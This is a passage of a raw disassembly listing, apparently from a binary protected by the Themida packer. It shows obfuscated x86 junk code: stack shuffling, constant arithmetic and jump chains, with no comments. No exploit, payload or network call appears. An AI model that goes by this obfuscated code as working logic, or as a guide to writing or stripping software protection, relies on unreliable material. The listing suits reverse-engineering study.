pop esp
mov [esp+8+var_8], edx
push 1
pop edx
push 166Ah
jmp loc_59150D
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_594D7C: ; CODE XREF: Themida_:005A4889j
mov esp, [esp]
mov [esp], ebx
sub esp, 4
mov [esp], ecx
mov cl, al
sub esp, 4
jmp loc_59C634
; ---------------------------------------------------------------------------
loc_594D95: ; DATA XREF: Themida_:005907CCo
push dword ptr [edi+40h]
jmp loc_590A9B
; ---------------------------------------------------------------------------
loc_594D9D: ; CODE XREF: Themida_:005970AAj
xor cl, 79h
sub cl, 20h
jmp loc_5A3313
; =============== S U B R O U T I N E =======================================
sub_594DA8 proc near ; CODE XREF: sub_59A431+6A39j
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0059A187 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0059B191 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059C42A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059D09B SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0059E237 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A2495 SIZE 0000000B BYTES
sub esp, 4
jmp loc_59A187
sub_594DA8 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A75E
loc_594DB0: ; CODE XREF: sub_59A75E+3992j
mov edx, 5CC94763h
shr edx, 6
jmp loc_599C62
; END OF FUNCTION CHUNK FOR sub_59A75E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_598762
loc_594DBD: ; CODE XREF: sub_598762-5110j
sub ebp, 21412606h
add ebp, edx
jmp loc_59783B
; END OF FUNCTION CHUNK FOR sub_598762
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59886E
loc_594DCA: ; CODE XREF: sub_59886E+18j
mov ebp, esp
add ebp, 4
sub ebp, 4
jmp loc_598B15
; END OF FUNCTION CHUNK FOR sub_59886E
; ---------------------------------------------------------------------------
loc_594DDD: ; CODE XREF: Themida_:0059E68Cj
push edx
push 6057h
jmp loc_59FF31
; ---------------------------------------------------------------------------
loc_594DE8: ; CODE XREF: Themida_:00596049j
xchg ebx, [esp]
pop esp
push 5FE9h
jmp loc_590CA3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_594DF6: ; CODE XREF: sub_59390B+FF13j
pop esp
jmp loc_59F197
; ---------------------------------------------------------------------------
loc_594DFC: ; CODE XREF: sub_59390B+67DBj
mov edi, 5DF00F8Bh
push ecx
mov ecx, 38D61EC0h
sub edi, ecx
mov ecx, [esp+0Ch+var_C]
add esp, 4
and edi, 45CE48C3h
jmp loc_5A5905
; ---------------------------------------------------------------------------
loc_594E1D: ; CODE XREF: sub_59390B-23B1j
xchg ecx, [esp-0Ch+arg_4]
mov esp, [esp-0Ch+arg_4]
div cx
push 5E50h
mov [esp-8+arg_0], ebx
push 510Ah
jmp loc_59A840
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_594E38: ; CODE XREF: Themida_:005968DCj
add eax, 4
xchg eax, [esp]
jmp loc_59BC88
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_594E45: ; CODE XREF: sub_59390B+BA38j
sub [edi+24h], ecx
push dword ptr [esp+0]
mov ecx, [esp+0]
push ebp
jmp loc_596D54
; ---------------------------------------------------------------------------
loc_594E54: ; CODE XREF: sub_59390B-251Aj
add ecx, 4
jmp sub_59654E
; END OF FUNCTION CHUNK FOR sub_59390B
; =============== S U B R O U T I N E =======================================
sub_594E5F proc near ; CODE XREF: sub_59390B+19C8j
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 005A271D SIZE 00000024 BYTES
sub esp, 4
mov [esp+4+var_4], ebx
mov ebx, 4AD64969h
xchg esi, ebx
inc esi
xchg esi, ebx
dec ebx
jmp loc_5A271D
sub_594E5F endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_594D13
loc_594E78: ; CODE XREF: sub_594D13+DD81j
pop esp
add edi, edx
add edi, 4D72557h
pop edx
jmp loc_599E62
; END OF FUNCTION CHUNK FOR sub_594D13
; ---------------------------------------------------------------------------
loc_594E87: ; CODE XREF: Themida_:005A1D42j
push ebx
mov ebx, 2C4A654Ch
add edi, 3B474F21h
add edi, ebx
sub edi, 3B474F21h
jmp loc_5954E2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_594EA0: ; CODE XREF: sub_59390B+B84j
mov edi, 3C3F1DB6h
xor edx, edi
pop edi
add eax, 2D3E4FDEh
sub eax, 11B37483h
sub eax, edx
push edi
mov edi, 11B37483h
add eax, edi
pop edi
jmp loc_59E38A
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_594EC2: ; CODE XREF: Themida_:005A1CFAj
pop esp
jmp loc_59FF1B
; ---------------------------------------------------------------------------
loc_594EC8: ; CODE XREF: Themida_:0059E8E0j
push ebx
push dword ptr [esp+4]
jmp loc_59D3F9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_594ED2: ; CODE XREF: sub_59390B+11D6Aj
push edi
mov edi, 70D37B4Eh
add esi, edi
pop edi
shl esi, 3
add esi, 539D1F14h
jmp loc_5A3C72
; ---------------------------------------------------------------------------
loc_594EE9: ; CODE XREF: sub_59390B-18BAj
pop esp
add esp, 4
; END OF FUNCTION CHUNK FOR sub_59390B
; START OF FUNCTION CHUNK FOR sub_595BAD
loc_594EF0: ; CODE XREF: sub_595BAD+DD00j
push 303Fh
jmp loc_59D98F
; END OF FUNCTION CHUNK FOR sub_595BAD
; ---------------------------------------------------------------------------
loc_594EFA: ; CODE XREF: Themida_:005A1E05j
sub bl, dl
jmp loc_5A5B43
; ---------------------------------------------------------------------------
loc_594F01: ; CODE XREF: Themida_:005A3054j
pop eax
sub dword ptr [edi+20h], 1BD93385h
push 66CCh
mov [esp], ebx
push esi
push 6F625BDCh
mov esi, [esp]
add esp, 4
and esi, 6230449Dh
push ecx
jmp loc_5982CD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_599AE1
loc_594F29: ; CODE XREF: sub_599AE1+389Dj
mov [esp+0Ch+var_C], ebx
mov ebx, 110C07E1h
neg ebx
dec ebx
or ebx, 1A9E600Dh
sub ebx, 83F17D1Bh
mov eax, ebx
jmp loc_59D4CB
; END OF FUNCTION CHUNK FOR sub_599AE1
; ---------------------------------------------------------------------------
loc_594F47: ; CODE XREF: Themida_:00597625j
pop edx
add eax, ebx
mov ebx, [esp]
jmp loc_598D35
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_594F52: ; CODE XREF: sub_59390B+108j
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp-20h+arg_18]
pop esp
mov [esp-24h+arg_1C], ecx
mov ecx, esp
add ecx, 4
push ebx
mov ebx, 4
add ecx, ebx
pop ebx
jmp loc_5A145A
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_594F7D: ; CODE XREF: Themida_:005A0EE2j
mov ebx, 6A3C209Eh
jmp loc_591C03
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59D1FC
loc_594F87: ; CODE XREF: sub_59D1FC+6j
sub ebx, 697E6DCFh
shl ebx, 8
jmp loc_59FEFC
; END OF FUNCTION CHUNK FOR sub_59D1FC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59F505
loc_594F95: ; CODE XREF: sub_59F505+13j
neg ebp
dec ebp
xor ebp, 0CC28DF4Ah
jmp loc_595FD7
; END OF FUNCTION CHUNK FOR sub_59F505
; ---------------------------------------------------------------------------
loc_594FA3: ; CODE XREF: Themida_:00590B5Aj
mov [esp], ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
pop esp
xor edx, [esp]
xor [esp], edx
jmp loc_595A62
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_591FE1
loc_594FBA: ; CODE XREF: sub_591FE1+16DCj
add esp, 4
jmp loc_594A5F
; END OF FUNCTION CHUNK FOR sub_591FE1
; ---------------------------------------------------------------------------
loc_594FC2: ; CODE XREF: Themida_:005926AFj
mov ecx, esp
add ecx, 4
jmp loc_59DBA7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59918B
loc_594FCF: ; CODE XREF: sub_59918B+86F4j
sub esi, 2B0929A9h
mov edx, esi
jmp loc_59A825
; END OF FUNCTION CHUNK FOR sub_59918B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59CAFB
loc_594FDC: ; CODE XREF: sub_59CAFB+384Aj
add esp, 4
shl eax, 5
jmp loc_59C98B
; END OF FUNCTION CHUNK FOR sub_59CAFB
; ---------------------------------------------------------------------------
loc_594FE7: ; CODE XREF: Themida_:0059FED3j
add ebx, edx
pop edx
xchg ebx, [esp]
jmp loc_599F9C
; ---------------------------------------------------------------------------
loc_594FF2: ; CODE XREF: Themida_:005A238Bj
sub ecx, ebx
pop ebx
mov edx, ecx
jmp loc_59A89C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_594FFC: ; CODE XREF: sub_59390B+3AE2j
shl dl, 1
add dl, 56h
xor al, dl
jmp loc_5A3CD5
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_595008: ; CODE XREF: Themida_:00591CA1j
mov ebx, [esp]
add esp, 4
push ebp
push dword ptr [esp+4]
jmp loc_5A2E1B
; ---------------------------------------------------------------------------
loc_59501B: ; CODE XREF: Themida_:005A079Ej
mov [esp], esi
mov esi, 519122Fh
jmp loc_59660F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59CFD4
loc_595028: ; CODE XREF: sub_59CFD4+2BFBj
xor esi, [esp+0Ch+var_C]
jmp loc_5A073E
; END OF FUNCTION CHUNK FOR sub_59CFD4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59D1FC
loc_595030: ; CODE XREF: sub_59D1FC-77D7j
sub edx, 36477580h
add ebp, edx
pop edx
add ebp, 4
jmp loc_5A28EE
; END OF FUNCTION CHUNK FOR sub_59D1FC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_595044: ; CODE XREF: sub_59390B-4A9j
shr edx, 7
neg edx
dec edx
add edx, 200ADF12h
and edx, 0E246C9Fh
xor edx, 0E202016h
add ebx, edx
mov edx, [esp+0]
add esp, 4
add ebx, 4
jmp loc_5A4445
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_595072: ; CODE XREF: Themida_:005A5066j
pop esi
push edi
jmp loc_59FFF1
; ---------------------------------------------------------------------------
loc_595079: ; CODE XREF: Themida_:00597945j
xor edx, ebx
pop ebx
shr edx, 3
jmp loc_5A45E6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59FCCB
loc_595084: ; CODE XREF: sub_59FCCB+Aj
push 4
jmp loc_59A5B5
; END OF FUNCTION CHUNK FOR sub_59FCCB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5964AF
loc_59508E: ; CODE XREF: sub_5964AF+4BD7j
mov esi, edx
jmp loc_59B15A
; END OF FUNCTION CHUNK FOR sub_5964AF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59333E
loc_595095: ; CODE XREF: sub_59333E-115Fj
add eax, 9FEC98F1h
sub edx, eax
pop eax
xor ecx, edx
jmp loc_591CB3
; END OF FUNCTION CHUNK FOR sub_59333E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5936EC
loc_5950A4: ; CODE XREF: sub_5936EC+3CBCj
add ebx, 2146F17h
mov ebp, [esp+4+var_4]
push ebp
push esp
pop ebp
push edi
jmp loc_5A52F1
; END OF FUNCTION CHUNK FOR sub_5936EC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_592586
loc_5950B6: ; CODE XREF: sub_592586+A6AEj
sub ebx, 65E16DF4h
add ebx, 6BD2188Eh
pop eax
jmp loc_5A15B2
; END OF FUNCTION CHUNK FOR sub_592586
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59CFD4
loc_5950C8: ; CODE XREF: sub_59CFD4+8913j
mov ebx, [esp+8+var_8]
add esp, 4
pop eax
push 186Bh
mov [esp+4+var_4], esi
jmp loc_5926DA
; END OF FUNCTION CHUNK FOR sub_59CFD4
; =============== S U B R O U T I N E =======================================
sub_5950DF proc near ; CODE XREF: sub_59FA27+23CAj
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 00592D97 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0059455A SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00598105 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00598163 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00599B03 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0059D9D0 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A34D2 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A45FC SIZE 00000007 BYTES
push ebx
mov ebx, 7C3C093Fh
not ebx
xor ebx, 2E70A06h
neg ebx
push esi
jmp loc_5A45FC
sub_5950DF endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_5950F5: ; CODE XREF: Themida_:00598B87j
mov [esp], edx
sub esp, 4
push esp
jmp loc_59D75F
; ---------------------------------------------------------------------------
loc_595101: ; CODE XREF: Themida_:0059E6A6j
mov ecx, [esp]
add esp, 4
sub ebx, ebp
jmp loc_5997DB
; ---------------------------------------------------------------------------
loc_59510E: ; DATA XREF: Themida_:005907BCo
mov cx, [esp]
push ebx
mov ebx, esp
jmp loc_59F0D9
; ---------------------------------------------------------------------------
loc_59511A: ; CODE XREF: Themida_:0059E1FFj
xchg ecx, [esp]
mov esp, [esp]
push edx
mov edx, 765374h
add edi, 658B25BCh
add edi, edx
sub edi, 658B25BCh
jmp loc_5A4BA2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A4D6
loc_595139: ; CODE XREF: sub_59A4D6+95FBj
not esi
xor esi, 6D551FDBh
add ebp, 316863C8h
add ebp, esi
sub ebp, 316863C8h
jmp loc_59782F
; END OF FUNCTION CHUNK FOR sub_59A4D6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_595154: ; CODE XREF: sub_59390B+46E7j
mov ebx, esp
add ebx, 4
sub ebx, 4
jmp loc_5961A2
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_599AE1
loc_595164: ; CODE XREF: sub_599AE1+84DEj
mov eax, [esp+8+var_8]
jmp loc_5A4E5A
; END OF FUNCTION CHUNK FOR sub_599AE1
; ---------------------------------------------------------------------------
loc_59516C: ; CODE XREF: Themida_:00590C63j
pop esp
jmp loc_594C52
; ---------------------------------------------------------------------------
loc_595172: ; CODE XREF: Themida_:005A5A74j
push ecx
jmp loc_5922BB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590BDF
loc_595178: ; CODE XREF: sub_590BDF+10DB0j
pop [esp+8+var_8]
mov esp, [esp+4+var_4]
or eax, eax
jz sub_59886E
push dword ptr [edi+1Ch]
push [esp+4+var_4]
jmp loc_59671B
; END OF FUNCTION CHUNK FOR sub_590BDF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_595191: ; CODE XREF: sub_59390B+F7CFj
pop edx
xor edi, [esp-0Ch+arg_4]
xor [esp-0Ch+arg_4], edi
xor edi, [esp-0Ch+arg_4]
mov esp, [esp-0Ch+arg_4]
or word ptr [esp-0Ch+arg_4], ax
pushf
jmp loc_590A9B
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5951A8: ; CODE XREF: Themida_:0059E5F7j
sub esi, 4D863504h
pop ecx
push eax
push ebp
push 234904EAh
pop ebp
sub ebp, 5662207Ch
and ebp, 3F932527h
xor ebp, 58032C26h
mov eax, ebp
pop ebp
xor esi, eax
pop eax
push 30A3h
mov [esp], ebx
mov ebx, esi
jmp loc_5A213D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5951DE: ; CODE XREF: sub_59390B+1CFFj
or cl, 0F1h
shr cl, 6
sub esp, 2
jmp loc_594D08
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5951EC: ; CODE XREF: Themida_:0059EB06j
mov edx, 60ED4081h
mov ecx, edx
mov edx, [esp]
add esp, 4
or ecx, 3F2E3E74h
push esi
mov esi, 87407A5h
jmp loc_59A4AD
; ---------------------------------------------------------------------------
loc_59520D: ; CODE XREF: Themida_:0059E857j
pop ecx
push 4847h
mov [esp], ebx
push 4C6Ah
mov [esp], esp
push edx
mov edx, 4
add [esp+4], edx
push dword ptr [esp]
pop edx
add esp, 4
push dword ptr [esp]
mov ebx, [esp]
jmp loc_59648E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59918B
loc_59523A: ; CODE XREF: sub_59918B+99B7j
push edi
pop eax
push dword ptr [esp+0]
pop edi
add esp, 4
add esi, 63B25EEEh
add esi, eax
sub esi, 63B25EEEh
push [esp-4+arg_0]
mov eax, [esp+0]
jmp loc_59FFE6
; END OF FUNCTION CHUNK FOR sub_59918B
; ---------------------------------------------------------------------------
loc_59525C: ; CODE XREF: Themida_:0059BC5Dj
or ebp, 3DD56888h
add ebp, 7C3926FFh
shr ebp, 5
jmp loc_594D47
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_595270: ; CODE XREF: sub_59390B+2352j
push ecx
mov ecx, 16B67669h
not ecx
and ecx, 62D47721h
jmp loc_59D865
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_594A8D
loc_595283: ; CODE XREF: sub_594A8D+14j
xor ebx, 22E204E4h
jmp loc_5A0E7A
; END OF FUNCTION CHUNK FOR sub_594A8D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_597198
loc_59528E: ; CODE XREF: sub_597198+11j
pop esp
shl esi, 7
jmp loc_59EDCD
; END OF FUNCTION CHUNK FOR sub_597198
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_595297: ; CODE XREF: sub_59390B+436j
add edi, 73FB7E14h
push eax
mov eax, edi
push ecx
jmp loc_5A0EE7
; ---------------------------------------------------------------------------
loc_5952A6: ; CODE XREF: sub_59390B-2022j
mov ebx, 4
sub eax, ebx
mov ebx, [esp+0]
add esp, 4
xchg eax, [esp-8+arg_0]
mov esp, [esp-8+arg_0]
mov [esp-8+arg_0], edx
sub esp, 4
mov [esp+0], edi
mov edi, 77EE69ACh
push ebp
mov ebp, 79346133h
neg ebp
inc ebp
jmp sub_594E5F
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5971C0
loc_5952D8: ; CODE XREF: sub_5971C0+12j
pop edi
push eax
push ebx
mov ebx, 34E20722h
jmp loc_595D3A
; END OF FUNCTION CHUNK FOR sub_5971C0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5952E5: ; CODE XREF: sub_59390B+2493j
mov edi, 466C00BBh
shl edi, 7
add edi, 0FFFFFFFFh
sub edi, 2CC12658h
add eax, edi
pop edi
inc eax
jmp loc_59F6E1
; ---------------------------------------------------------------------------
loc_5952FF: ; CODE XREF: sub_59390B+6221j
add esi, 6062B960h
or ebx, esi
pop esi
push esi
mov esi, 4E6356C1h
jmp loc_5A242C
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_595313: ; CODE XREF: Themida_:00592FF3j
shl edi, 8
push eax
push ebp
mov ebp, 3C554D06h
sub ebp, 42630D4h
sub ebp, 4ED1373Eh
push ebx
mov ebx, 53DE139Fh
sub ebp, ebx
pop ebx
shr ebp, 5
inc ebp
xor ebp, 7380EBB7h
mov eax, ebp
jmp loc_5A17DC
; ---------------------------------------------------------------------------
loc_595343: ; CODE XREF: Themida_:00594761j
movsx ecx, al
push 7447h
mov [esp], ecx
jmp loc_590A9B
; ---------------------------------------------------------------------------
loc_595353: ; CODE XREF: Themida_:005A5005j
push ecx
push edi
push esp
pop edi
add edi, 4
sub edi, 4
jmp loc_59F31E
; ---------------------------------------------------------------------------
loc_595365: ; CODE XREF: Themida_:005A0084j
pop dword ptr [esp]
jmp loc_59930E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59536D: ; CODE XREF: sub_59390B+4C3j
xchg ebx, [esp-1Eh+arg_14+2]
jmp loc_5A3B62
; ---------------------------------------------------------------------------
loc_595375: ; CODE XREF: sub_59390B+E768j
pop esi
jmp loc_59616E
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_594D13
loc_59537B: ; CODE XREF: sub_594D13+BC16j
mov ebp, 40AA214Fh
push edx
mov edx, 7650D9Dh
and edx, 12BF390Ah
xor edx, 5C633369h
jmp loc_5A49CF
; END OF FUNCTION CHUNK FOR sub_594D13
; ---------------------------------------------------------------------------
lodsw
push small 1158h
mov [esp], di
mov di, 6059h
push esi
mov si, 2121h
jmp loc_59867E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5953AF: ; CODE XREF: sub_59390B+9B8Ej
xchg edx, [esp-22h+arg_18+2]
jmp loc_594D3B
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A17BF
loc_5953B7: ; CODE XREF: sub_5A17BF+4102j
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp+0Ch+var_C]
pop esp
jmp loc_595DB9
; END OF FUNCTION CHUNK FOR sub_5A17BF
; ---------------------------------------------------------------------------
loc_5953CC: ; CODE XREF: Themida_:0059EA06j
sub esp, 4
mov [esp], esi
push dword ptr [esp+4]
jmp loc_59D1F6
; ---------------------------------------------------------------------------
loc_5953DB: ; CODE XREF: Themida_:0059172Bj
mov ecx, 4
add ebx, 0D4F1966h
jmp loc_59BEF4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5953EB: ; CODE XREF: sub_59390B+66ADj
pop ebx
jmp loc_599E31
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_599F38
loc_5953F1: ; CODE XREF: sub_599F38+2FAFj
xor [esp+0], ebp
jmp loc_5A5B33
; END OF FUNCTION CHUNK FOR sub_599F38
; ---------------------------------------------------------------------------
loc_5953F9: ; CODE XREF: Themida_:0059BC1Ej
sub bl, ah
sub bl, 78h
push ax
mov ah, 44h
add bl, ah
pop ax
pop eax
mov ah, bl
pop ebx
add bl, ah
mov ax, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 2
jmp loc_5A1D47
; ---------------------------------------------------------------------------
loc_595421: ; CODE XREF: Themida_:0059D219j
xor eax, ecx
pop ecx
sub edi, 1604478Ch
push ebp
jmp loc_5943A8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59B019
loc_595430: ; CODE XREF: sub_59B019+1j
push dword ptr [esp+4]
push [esp+8+var_8]
pop ebp
add esp, 4
pop [esp+4+var_4]
jmp loc_5A0BDA
; END OF FUNCTION CHUNK FOR sub_59B019
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_595443: ; CODE XREF: sub_59390B+59A6j
mov ax, 1E2Dh
xor ax, 2D65h
or ax, 4D97h
sub ax, 5525h
sub ax, 65A5h
jmp loc_59980F
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59545C: ; CODE XREF: Themida_:005A45F7j
mov ebx, [esp]
add esp, 4
add eax, 2
push eax
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
jmp loc_59269F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A4CDD
loc_595476: ; CODE XREF: sub_5A4CDD-E5FCj
mov edi, 0D922756Bh
push 0E5Fh
mov [esp+10h+var_10], eax
jmp loc_59E7EA
; END OF FUNCTION CHUNK FOR sub_5A4CDD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595BAD
loc_595488: ; CODE XREF: sub_595BAD+3146j
pop edi
push 22A6h
mov [esp+4+var_4], ebp
mov ebp, esp
add ebp, 4
add ebp, 4
jmp loc_5A0424
; END OF FUNCTION CHUNK FOR sub_595BAD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59FCCB
loc_5954A1: ; CODE XREF: sub_59FCCB+3485j
mov [esp+8+var_8], ecx
mov ch, bl
jmp sub_592CEE
; END OF FUNCTION CHUNK FOR sub_59FCCB
; ---------------------------------------------------------------------------
loc_5954AB: ; CODE XREF: Themida_:005A29D0j
push esp
pop esi
add esi, 4
add esi, 4
xchg esi, [esp]
mov esp, [esp]
jmp loc_5A0CC9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59FCCB
loc_5954C1: ; CODE XREF: sub_59FCCB-CEC8j
xor ah, 0F0h
jmp loc_59B23B
; END OF FUNCTION CHUNK FOR sub_59FCCB
; ---------------------------------------------------------------------------
loc_5954C9: ; CODE XREF: Themida_:0059B6B6j
pop ebx
mov al, ch
mov ecx, [esp]
jmp loc_5A0C4A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59CFD4
loc_5954D4: ; CODE XREF: sub_59CFD4+8B1j
add esp, 4
shr ecx, 0Ah
jmp sub_59F5AB
; END OF FUNCTION CHUNK FOR sub_59CFD4
; ---------------------------------------------------------------------------
loc_5954E2: ; CODE XREF: Themida_:00594E9Bj
pop ebx
jmp loc_594742
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A17BF
loc_5954E8: ; CODE XREF: sub_5A17BF+683j
pop ecx
sub edx, ebp
pop ebp
and esi, edx
mov edx, [esp+10h+var_10]
add esp, 4
xchg eax, esi
push 122Bh
mov [esp+10h+var_10], eax
not [esp+10h+var_10]
jmp loc_5A1973
; END OF FUNCTION CHUNK FOR sub_5A17BF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_595505: ; CODE XREF: sub_59390B+306j
inc dl
add dl, 0BFh
dec dl
add dl, 40h
sub al, dl
pop edx
jmp loc_590C4F
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_595517: ; CODE XREF: Themida_:00595DA9j
sub esp, 4
jmp loc_5A1907
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_594D13
loc_59551F: ; CODE XREF: sub_594D13+B85Cj
mov [esp+0], ecx
jmp loc_59EA0B
; END OF FUNCTION CHUNK FOR sub_594D13
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59FD45
loc_595527: ; CODE XREF: sub_59FD45-7DCFj
shr ebp, 8
push ecx
mov ecx, 0EF859C8h
sub ecx, 0D8441C6h
sub ebp, ecx
pop ecx
shl ebp, 5
sub ebp, 0AEC13923h
sub ebx, ebp
pop ebp
sub ebx, edi
jmp loc_596C3F
; END OF FUNCTION CHUNK FOR sub_59FD45
; ---------------------------------------------------------------------------
loc_59554C: ; CODE XREF: Themida_:005A3DECj
pop eax
jmp loc_5A3013
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A085D
loc_595552: ; CODE XREF: sub_5A085D-71D5j
or al, 86h
shr al, 8
jmp sub_5A51EA
; END OF FUNCTION CHUNK FOR sub_5A085D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59555C: ; CODE XREF: sub_59390B+8B1Aj
pop edi
xor ebx, [esp-18h+arg_10]
xor [esp-18h+arg_10], ebx
xor ebx, [esp-18h+arg_10]
pop esp
jmp loc_59B526
; ---------------------------------------------------------------------------
loc_59556C: ; CODE XREF: sub_59390B+34F0j
pop esp
mov [esp-20h+arg_18], edx
jmp loc_5917B8
; ---------------------------------------------------------------------------
loc_595575: ; CODE XREF: sub_59390B+E9j
mov eax, 1956F68h
add esi, eax
jmp loc_59D917
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59B20A
loc_595581: ; CODE XREF: sub_59B20A+1j
push edi
push ecx
jmp loc_593974
; END OF FUNCTION CHUNK FOR sub_59B20A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A431
loc_595588: ; CODE XREF: sub_59A431-4C7Aj
push edx
mov edx, 657A7013h
sub edx, 29E037E2h
neg edx
sub edx, 47C69A8Eh
add ebp, edx
jmp loc_5A2876
; END OF FUNCTION CHUNK FOR sub_59A431
; ---------------------------------------------------------------------------
loc_5955A3: ; CODE XREF: Themida_:0059CA47j
sub esi, 7D5915B3h
pop edx
pop ecx
jmp loc_597456
; ---------------------------------------------------------------------------
mov sp, [esp]
jmp loc_59770A
